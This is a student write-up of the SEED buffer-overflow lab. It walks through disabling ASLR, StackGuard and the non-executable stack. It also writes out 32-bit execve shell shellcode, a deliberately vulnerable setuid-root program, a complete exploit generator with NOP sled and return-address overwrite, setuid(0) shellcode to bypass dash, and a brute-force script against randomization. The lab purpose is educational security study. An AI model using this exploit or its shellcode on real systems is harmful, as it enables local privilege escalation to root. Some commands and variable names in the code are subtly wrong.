

**Year and Semester** 2018 FALL  
**Course Number** CS-336  
**Course Title** Intro. to Information Assurance  
**Work Number** LA-01  
**Work Name** Buffer Overflows Classic  
**Work Version** Version 1  
**Long Date** Sunday, 28 October 2018  
**Author(s) Name(s)** Zane Durkin

### Abstract

In this article I will be explaining in detail the Tasks I preformed during the SEED security lab.

## 0 Setting up Lab Environment

In order to preform the classic stack overflow attack, some of the countermeasures will need to be disabled. These countermeasures (listed in sub sections below) are enabled in the Ubuntu operating system, and many others, by default. These security countermeasures are in place to make stack overflow attacks difficult [2].

### 0.1 Address Space Randomization

Address space Randomization is used to change the starting address of the heap and stack for every run of the program. This security mechanism makes guessing the address of my overflow attack difficult and unpredictable. To make this lab easier, I will disable this using the following command [2].

```
sudo -w kernel.randomize_va_space=0
```

This command will remove the randomization of the starting address for the heap and stack. This makes it much easier to figure out the address I need to use for my exploit, since it will be the same address every time I run my code.

## 0.2 Non-Executable Stack

By default gcc disables execution of code on the stack. However, since I will be placing my exploit code on the stack, I will need to be able to execute code on the stack for the exploit to work. So to allow for execution of things on the stack I will need to add a flag to gcc when compiling my vulnerable code [2]. To Execute code on the stack, my compile command will look like this [2]:

```
gcc -z execstack -o test test.c
```

And for non-executable stack I can use the following command (although gcc does this by default) [2]:

```
gcc -z nonexecstack -o test test.c
```

## 0.3 Configuring /bin/sh

For the current version of Ubuntu, the /bin/sh command is a symbolic link to the /bin/dash shell. In this newer version of Ubuntu (version 16.04) the dash shell has a measure that prevents running the program from a user id that is different than the one of the user who initially ran the program. This means it will prevent running it as root, if I am not root already (or any other user).

In order to make the bufferoverflow useful for switching user accounts, I will need a shell that does not prevent running as a Set-uid program. ZSH is a shell that does not have this countermeasure, so it will make a great substitute for the dash shell. To swith the symbolic link of /bin/sh from dash to zsh, I will first need to remove the current symbolic link to dash [2]:

```
sudo rm /bin/sh
```

Now I need to make a new symbolic link from /bin/sh to the zsh shell. This can be done as shown [2]:

```
sudo ln -s /bin/zsh /bin/sh
```

So now that the command /bin/sh will create a zsh shell instead of the dash shell, I will be able to run shell as a set-uid program in my exploit.

# 1 Task 1 - Buffer Overflow

## 1.1 Running Shellcode

Before I jump into running the attack, I first need to understand how the exploit code works, and what it will look like when in assembly code. To do this I will write the exploit code as a C program, and then compile and run it to see how it works. When I compile the following code, I will be able to use that assembly code in my exploit later on [2].

```
// stdio is needed to call the execve function
#include <stdio.h>
int main() {
    // a char array to hold our command to execute.
    char *name[2];

    // For this lab I will execute the sh command, but any command could be executed here
    name[0] = "/bin/sh";

    // Since I dont need any parameters, and to end the string, A NULL will be set to the ↵
    last value of the string
    name[1] = NULL;

    // the execve is a system call that will execute the given command.
    // for this attack I will use the execve command to gain access to a shell with elevated ↵
    permissions
    // the execve command could execute a different program if needed, but a shell will work ↵
    for this lab
    execve(name[0], name, NULL);
}
```

I can take the assembly of the previous code (after it has been compiled) and place the assembly in a buffer of a new program. The assembly of the original shell code program above is much different than the assembly that is in the given call\_shellcode program from the lab. This is most likely due to the changes in gcc since the release of this lab. To test the assembly code of the above program, I can create a program "call\_shellcode" which will simulate an actual attack. I can place the assembly code of the previous program into a buffer in a new program. This new program will execute the code stored in a buffer by referencing to the buffer's location in memory as a function. Since the buffer is filled with executable hex code, the program will continue to execute the hex code as if it were a normal program [2]. The new program will look like this:

```
/* call_shellcode.c */
/* A program that launches a shell using shellcode */
// in order to run the execve system function in the assembly code, I need to include it in these ↵
libraries
#include <stdlib.h>
```

```

#include <stdio.h>
// the string library will help with holding the assembly code in a character array
#include <string.h>
const char code[] =
    // xor a register with it's self to clear it
    "\x31\xc0" /* Line 1:    xorl    %eax,%eax    */
    // push the null value to the stack
    "\x50"     /* Line 2:    pushl   %eax    */
    // push the value "//sh" to the stack, double // is used to make 32 bit number
    "\x68"//sh" /* Line 3:    pushl   $0x68732f2f    */
    // push the value "/bin" to the stack
    "\x68"/bin" /* Line 4:    pushl   $0x6e69622f    */
    // copy location of the name[ 0 ] parameter to register ebx
    "\x89\xe3" /* Line 5:    movl    %esp,%ebx    */
    // push another null value to the stack
    "\x50"     /* Line 6:    pushl   %eax    */
    // push the ebx register to the stack
    "\x53"     /* Line 7:    pushl   %ebx    */
    // copy location of name parameter to register ecx
    "\x89\xe1" /* Line 8:    movl    %esp,%ecx    */
    // sets edx to zero.
    "\x99"     /* Line 9:    cdq        */
    // copy the value of register al to 11
    "\xb0\x0b" /* Line 10:   movb     $0x0b,%al    */
    // create an interrupt and execute teh execve command
    "\xcd\x80" /* Line 11:   int      $0x80    */
;
int main(int argc, char **argv)
{
    // create a buffer to hold the assembly code
    char buf[sizeof(code)];
    // copy the code into the buffer
    strcpy(buf, code);
    // call the assembly code in the buffer as-if it were a function.
    ((void(*)())buf)();
}

```

[2] [1]

To test this program I will first need to compile it with the ability to execute code on the stack (as explained above):

```
gcc -z execstack -o call_shellcode call_shellcode.c
```

After compiling the program, It can be executed by running

```
./call_shellcode
```

Running this program results in a new shell being created. The new shell is executed as the seed user, which is the user that ran the program. By receiving a shell from the program, I know that the assembly code works and that I am able to execute code that is placed on the stack

When running this program as root, the new shell is created with the root's permissions.

```
sudo ./call_shellcode
```

This command returns a shell which is logged in as the user root. This is because I'm running the call\_shellcode command as the root user. By adding sudo (super user do) I'm changing my permissions, and thus when I receive the new shell, it has the same permissions.

The assembly in the embedded hex program works by pushing the location and name of the desired command into two variables, and then it sets a third variable (the parameters) to null. Once these variables are set, the program calls the execve() function which executes the desired command.

## 1.2 Vulnerable Program

Now that I have seen how a buffer can be filled with a hex value, which can then be executed, it's time to attempt this this attack on a vulnerable program. The vulnerable program that is given reads in a file (517 bytes) and sets it to a buffer of size 517 bytes. Next the program executes a function which copies the 517 byte array into a 24 byte buffer. This buffer can be overflowed if given enough bytes (more than 24).

```
/* Vulnerable program: stack.c */

// Just as before, These libraries are needed to include the execve system function
#include <stdlib.h>
#include <stdio.h>
// This library contains the vulnerable function strcpy.
// This function will copy a string from one character array to another, and it will only stop ↵
// when it sees a null value.
// However, if string it is provided is longer than the desination buffer with no null values to ↵
// end it, then the strcpy function will continue copying values from the source buffer into the ↵
// destination, even if it overflows the destination buffer.
// If the destination buffer is overflown, then the strcpy will continue writing the source ↵
// values directly onto the stack.
// This is the vulnerability that will be exploited. If the overflow is long enough, it will be ↵
// possible to change the return address of the function. And if we place our own assembly code ↵
// in the stack, I can set the return address to return to the exploit code.
#include <string.h>
int bof(char *str)
{
    // This is the target buffer that will be overflown during out exploit
    char buffer[24];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    // I added this printf function to let me know where I can expect to find the start of the ↵
    // stack.
    // I originally planned on finding the location of buffer from gdb, but gdb adds in it's own ↵
    // acm
    printf("%p\n", buffer );
```

```

    return 1;
}
int main(int argc, char **argv)
{
    // This buffer is being filled with the value in badfile. And it is much larger than the ←
    // buffer in bof.
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    // This will read in the exploit code located in badfile, and place it in the str variable. ←
    // later this code will be placed on the stack in the bof function.
    fread(str, sizeof(char), 517, badfile);
    // calling the bof function with a parameter that is a char array of 517 bytes ( much larger ←
    // than the 24 byte buffer in bof)
    bof(str);
    // If the bof function returns properly, that means I didn't overwrite the return address ←
    // correctly. This will let me know that it returned to the main function.
    printf("Returned Properly\n");
    return 1;
}

```

[2]

To compile this program, gcc will need to allow execution of the stack and Stack Guard will need to be turned off, which can be done by compiling with the following command [2]:

```
gcc -o stack -z execstack -fno-stack-protector stack.c
```

Next I need to set the owner of the file to be root, so I can later set the file to execute as the regular user[2]. This command must be ran as root inorder to have the permissions to change the owner of the file:

```
sudo chown root stack
```

Now I need to set the permissions of the file to allow anyone in the group or other to read or execute the file (which is needed so I can execute it as the user seed). The 4 at the start of the permissions will tell the file to execute as the regular user, which in this case will be root (which we set in the last command). So, when executing the file, it will be ran as the root user, but I don't need to be root to run the file.

```
sudo chmod 4755 stack
```

[2]

Now I have a vulnerable program that I can execute, and when executed the file will run with the permissions of the root user.

## 2 Task 2 - Exploiting the vulnerability

To exploit the vulnerability I need to write a file called "badfile" that will be loaded into the stack.c program. To create the attack I need to fill the "badfile" with the hex value of the exploit code, the address of the exploit code(positioned to overwrite the return address of the bof function), and a nop sled. This could possibly be done with a normal text editor, but can be done much easier with a simple c program. I am given the start to a C program which will generate the exploit file.

```
/* exploit.c */
/* A program that creates a file containing code for launching shell */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char shellcode[] =
    // xor a register with its self to clear it
    "\x31\xc0" /* Line 1: xorl %eax,%eax */
    // push the null value to the stack
    "\x50" /* Line 2: pushl %eax */
    // push the value "//sh" to the stack, double // is used to make 32 bit number
    "\x68"//sh" /* Line 3: pushl $0x68732f2f */
    // push the value "/bin" to the stack
    "\x68"/bin" /* Line 4: pushl $0x6e69622f */
    // copy location of the name[ 0 ] parameter to register ebx
    "\x89\xe3" /* Line 5: movl %esp,%ebx */
    // push another null value to the stack
    "\x50" /* Line 6: pushl %eax */
    // push the ebx register to the stack
    "\x53" /* Line 7: pushl %ebx */
    // copy location of name parameter to register ecx
    "\x89\xe1" /* Line 8: movl %esp,%ecx */
    // sets edx to zero.
    "\x99" /* Line 9: cdq */
    // copy the value of register al to 11
    "\xb0\x0b" /* Line 10: movb $0x0b,%al */
    // create an interrupt and execute the execve command
    "\xcd\x80" /* Line 11: int $0x80 */
;
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction)*/
    memset(&buffer, 0x90, 517);
    /* You need to fill the buffer with appropriate contents here*/
    /*... Put your code here ...*/
    /*Save the contents to the file "badfile"*/
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

[2]

To make the exploit work I will need to set the program to: generate a number of NOP commands (to create a nop sled), place the exploit code, and then it must

overwrite the location of the return address in the stack to execute the buffer as normal code.

To find the location of the buffer in the stack program, I first tried to find the location using GDB. To find the location in GDB ran the stack program until I reached the bof function (the function with the vulnerability). Next I used the x command in GDB to output the location of the buffer in memory (x &buffer ). When running GDB the location of my buffer would be at:

0xbfffeb34

I was unaware that GDB was adding their own assembly code into the program (which is needed for GDB to work properly) and caused the location to be slightly off of where the location is when running outside of GDB. To find the true value of the buffer location, I placed a printf function in the stack.c program which would output the location of the buffer during run time (this is shown in the stack.c program above). For my stack program, the location of the buffer in the stack during run time outside of GDB is :

0xbfffeb38

Now that I had the location of the buffer in memory, I could work on filling the buffer with enough data to overwrite the return address, which I could then use to run my own exploit code. I started my program with the exploit code being at the start of the array, which led to some difficulties due to the return address being 36 bytes from the start of the buffer in the stack, and the exploit code being longer than that (by only a couple bytes). Since I wrote my code into the buffer before I entered my return address, I was overwriting my code with the return address. This allowed the buffer overflow to execute correctly, but would cause an error in the exploit code since it had been overwritten at the location of the return address. Because of this, when my exploit code would execute, there would be invalid commands where the return address was placed.

After learning that my exploit was too long to be placed before the return address, I was able to adjust my code to move the exploit to behind the return address. So my exploit would fill the buffer entirely with nop commands until it reached the return address. After overwriting the return address in the stack I will start my nop sled. I made my code variable on the sled size, so it would be possible to address this as needed or wanted. After the nop sled I placed my shellcode. Now since my shellcode would no longer be placed at the start of the array I had to adjust the location that the return address would be set to. So instead of just pointing to the start of the buffer as I did before, I will calculate the location of the nop sled based on the size of the target array and the number of local variables that are created in the function.



My final exploit code looked as follows:

```
/* exploit.c */
/* A program that creates a file containing code for launching shell */
// include required libraries
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// This is the exploit code that will be placed in the buffer.
const char code[] =
    // xor a register with it's self to clear it
    "\x31\xc0" /* Line 1: xorl %eax,%eax */
    // push the null value to the stack
    "\x50" /* Line 2: pushl %eax */
    // push the value "//sh" to the stack, double // is used to make 32 bit number
    "\x68" "//sh" /* Line 3: pushl $0x68732f2f */
    // push the value "/bin" to the stack
    "\x68" "/bin" /* Line 4: pushl $0x6e69622f */
    // copy location of the name[ 0 ] parameter to register ebx
    "\x89\xe3" /* Line 5: movl %esp,%ebx */
    // push another null value to the stack
    "\x50" /* Line 6: pushl %eax */
    // push the ebx register to the stack
    "\x53" /* Line 7: pushl %ebx */
    // copy location of name parameter to register ecx
    "\x89\xe1" /* Line 8: movl %esp,%ecx */
    // sets edx to zero.
    "\x99" /* Line 9: cdq */
    // copy the value of register al to 11
    "\xb0\x0b" /* Line 10: movb $0x0b,%al */
    // create an interrupt and execute code the execve command
    "\xcd\x80" /* Line 11: int $0x80 */
;
void main(int argc, char **argv)
{
    // arr_size will hold the size of the target array. ( this is so we can know when we have ←
    // overflowed the buffer )
    int arr_size = 24; // size of target array. (buffer that will be overflowed)

    // buff_size will hold the maximum size of our buffer. For this lab it will be 517 bytes
    int buff_size = 517; // size of badfile. (should match larger buffer size)

    // buff_loc is the location of the buffer in memory during runtime of the stack program.
    long buff_loc = 0xbfffeb38; // retrieved from outputting buffer location.

    // gcc-padding will hold the number of bytes that are needed to reach the return address from ←
    // the start of the buffer.
    int gcc_padding = arr_size + 12; //36 - adding 8 to get to return address

    // nop_buff will hold the size of our nop sled. since the buffer will be pre-filled with nop ←
    // commands, I can just
    // write the shellcode in the buffer after (the return address + the number of nops for our ←
    // sled) bytes in the buffer.
    // This should be a number greater than gcc_padding, but less than ( buff_size - sizeof(←
    // shellcode) )
    int nop_buff = gcc_padding + 4; //40 - adding 4 nop's after return address, before ←
    // source code

    // This variable will hold our nop sled, return adres, and exploit code. And will be written ←
    // to the badfile
    char buffer[buff_size];

    // This will be our file object that will be used to write the buffer to the badfile later
```

```

FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction)*/
// to start, we will fill the entire buffer with nop commands (0x90)
memset(&buffer, 0x90, buff_size);

/* Place return location after array */
// the source_loc variable will hold the location in memory that we can expect to find the ↵
// start of the source code.
// This location can be set to point to anywhere between the return address and the start of ↵
// our source code.
int source_loc = buff_loc + nop_buff;

// using the location of our source code, we can set the return address to point to that ↵
// location
// buffer[gcc_padding] is the location in the buffer that will overwrite the return address ↵
// of the bof function
// ((source_loc >> (8*0)) & 0xFF) returns the first byte of the address location (i.e 0xBF)
buffer[gcc_padding] = (source_loc >> (8*0)) & 0xFF; // get first part of source code ↵
// location
// ((source_loc >> (8*1)) & 0xFF) returns the second byte of the address location (i.e 0xFF)
buffer[gcc_padding+1] = (source_loc >> (8*1)) & 0xFF; // get next more significate byte.
// ((source_loc >> (8*2)) & 0xFF) returns the third byte of the address location (i.e 0xEB)
buffer[gcc_padding+2] = (source_loc >> (8*2)) & 0xFF; // ... and so on.
// ((source_loc >> (8*3)) & 0xFF) returns the fourth byte of the address location (i.e 0x5C)
buffer[gcc_padding+3] = (source_loc >> (8*3)) & 0xFF;

/* Copy exploit code into stack */
/* last byte is null, so it is removed */
strncpy( buffer+nop_buff, shellcode, sizeof(shellcode)-1);

/* open the badfile for writing */
badfile = fopen("./badfile", "w");
/*Save the contents to the file "badfile"*/
fwrite(buffer, 517, 1, badfile);
/* close the badfile */
fclose(badfile);
}

```

[2]

### 3 Task 3 - Defeating Dash's countermeasure

Dash compares the gid (effective user id) and uid (real user id) of the program Since sh is set as a symlink to Dash on most linux systems, I will attempt to overcome this countermeasure without switching the default shell of the system. To start I will symlink sh back to dash (I changed sh to symlink to zsh at the start of the lab, so it will need to be changed back).

```
sudo rm /bin/sh
sudo ln -s /bin/dash /bin/sh
```

[2]

Here is the dash\_shell\_test.c program that is given for the lab (with some added comments):

```
/* dash_shell_test.c */
// include the required libraries just as before with the original exploit code
#include <stdio.h>
// to allow the setuid command to work, there are a couple more libraries that are needed
#include <sys/types.h>
#include <unistd.h>
int main()
{
    // a char array to hold our command to execute.
    char *argv[2];
    // For this lab I will execute the sh command, but any command could be executed here
    argv[0] = "/bin/sh";

    // Since I dont need any parameters, and to end the string, A NULL will be set to the last ↵
    // value of the string
    argv[1] = NULL;

    // This line will be used to overcome the countermeasure in dash
    // since the shell will now be executed with the users id matching the programs execution it, ↵
    // it wont try to reset the user permissions
    setuid(0);

    // the execve is a system call that will execute the given command.
    // for this attack I will use the execve command to gain access to a shell with elevated ↵
    // permissions
    // the execve command could execute a different program if needed, but a shell will work for ↵
    // this lab
    execve("/bin/sh", argv, NULL);

    return 0;
}
```

[2]

Now I will compile the dash\_shell\_test.c program to see how dash will react to the setuid() command.

```
gcc dash_shell_test.c -o dash_shell_test
```

To test if the priviledges can be elevated properly, I will need to set the file to execute as root. This can be done in the same way stack.c is set to execute as root

```
sudo chown root dash_shell_test
sudo chmod 4755 dash_shell_test
```

Next I will run the program to test that we can retrieve the dash shell. This program will be ran twice, once without setting the uid to 0 and once with.

When executing the program without running the `setuid(0)` line (commenting out the `seduid(0)` command), it executes fine, and the user is my current user (seed).

When executing the program with the `setuid(0)` line it still runs fine, but it sets my uid from 0 (root) back to my real uid (seed).

So it prevents switching users by resetting my gid back to my uid. Since the `setuid` command works in this test, I will update the attck to use an updated set of assembly code which makes 4 changes to the instructions (set `ebx` to 0 in Line 2, set `eax` to `0xd5` in Line 1 & 3 (this will be `setuid`'s system call), and the asm code to execute `setuid` on Line 4)[2].

So the assembly code will now look as follows:

```
// clear the eax register
"\x31\xc0" /* Line 1: xorl    %eax,%eax */
// clear the ebx register
"\x31\xdb" /* Line 2: xorl    %ebx,%ebx */
// copy the value of %al to 0xd5
"\xb0\xd5" /* Line 3: movb    $0xd5,%al */
// create an interrupt to execute the setuid command
"\xcd\x80" /* Line 4: int     $0x80 */

/** from this point on, the assembly code is the same as the previous exploit **/

// xor a register with it's self to clear it
"\x31\xc0" /* Line 1: xorl    %eax,%eax */
// push the null value to the stack
"\x50" /* Line 2: pushl    %eax */
// push the value "//sh" to the stack, double // is used to make 32 bit number
"\x68"//sh" /* Line 3: pushl    $0x68732f2f */
// push the value "/bin" to the stack
"\x68"/bin" /* Line 4: pushl    $0x6e69622f */
// copy location of the name[ 0 ] parameter to register ebx
"\x89\xe3" /* Line 5: movl    %esp,%ebx */
// push another null value to the stack
"\x50" /* Line 6: pushl    %eax */
// push the ebx register to the stack
"\x53" /* Line 7: pushl    %ebx */
// copy location of name parameter to register ecx
"\x89\xe1" /* Line 8: movl    %esp,%ecx */
// sets edx to zero.
"\x99" /* Line 9: cdq */
// copy the value of register al to 11
"\xb0\x0b" /* Line 10: movb    $0x0b,%al */
// create an interrupt and execute the execve command
"\xcd\x80" /* Line 11: int     $0x80 */
```

When running the `./stack` program with the new badfile created by adding the changes into the assembly code, I was given a root shell. This means that executing the `setuid(0)` command before creating a shell will effectively bypass the countermeasure set by dash.

## 4 Task 4 - Defeating Address Randomization

On newer linux machines, the stack only has 19 bites of entropy, which means that there are a ton of possibilities for the location of the stack base ( $2^{19}$ ). Since this number is not too crazy high, it is possible to brute force. For this test we will re-enable the stack randomization[2]. This can be done with the following command:

```
sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

Now I will use a brute force attack to find the correct address to place in the badfile. I will use the given file to brute force the address (br-force-addr.sh) this program will create an infinite loop that will continuously run the exploit until it works (it could run for a while). I will know the attack has worked when I retrieve a shell, since the execution of the shell will prevent the stack.c program from dying, and thus pause the bash script until it finishes the stack.c program. The bash program looks as follow:

```
#!/bin/bash

SECONDS=0
Value=0
# continuously try the attack until it works or the program is killed
While [ 1 ]
do
    # increment the attempt counter.
    value=$(( $value + 1 ))
    # output the duration of time the program has been running
    duration=$SECONDS
    # to keep from outputting a large number of seconds, just use minutes
    min=$(( $duration / 60 ))
    # determine how many seconds past the last minute have passed
    sec=$(( $duration % 60 ))
    echo "$min minutes and $sec seconds elapsed. "
    echo "the program has been running $value times so far."

    # attempt the attack and repeat
    # this line will pause the loop when the attack is executed correctly, since bash will wait ↵
    # for the program to return before continuing
    ./stack
done
```

[2] Since the address of buffer is changed for each time the program is ran, we can execute the program repeatedly until our address is correct. Having a larger nop sled could result in a faster execution time, since there will be a larger target to hit. I increased my nop sled after my return address to be 80 bytes long. I left the bash program running for 5 minutes and 38 seconds (160403 times) before it worked

correctly and gave me a shell. This means that even with the randomization, I was still able to guess an address on the nop sled which would let me run my exploit code. So this countermeasure was only able to slow down the attack, but could not prevent it entirely. After I left the shell, the bash program continued brute forcing the stack program as expected, but since the attack only needs to run once I killed the program.

## 5 Task 5 - Turn on stack guard Protection

For this task I will turn off stack guard.

Stack guard was one of the protections that were turned off before starting this lab. I will now turn this protection back on in order to see how it effects the attack on the stack program. To turn stack guard back on, I will compile stack.c without the -fno-stack-protector option. After compiling stack.c with the command

```
gcc -o stack -z execstack stack.c
```

[2]

I ran the program and retrieved this error:

```
*** stack smashing detected ***: ./stack terminated
Aborted
```

So stack guard successfully noticed and blocked the attack by checking for changes in the stacks code.

## 6 Task 6 - Turn on the Non-executable stack protection

For this task I will turn off executable stack in gcc.

I will compile the stack.c program with the noexecstack option to prevent the execution of the stack. This can be done with the following command:

```
gcc -o stack -fno-stack-protector -z noexecstack stack.c
```

With the stack set to be non-executable, I receive a segmentation fault when attempting to execute the program. This option prevents execution of the exploit code that is written to the stack. This can be overcome by putting the executable code elsewhere, like in a register or somewhere else. Note that this does not prevent the buffer overflow, just the execution of the stack[2].

# References

- [1] LABS, S. Intel 80x86 assembly language opcodes, 2016.
- [2] WENLIANG DU, S. U. Buffer overflow vulnerability lab, 2016.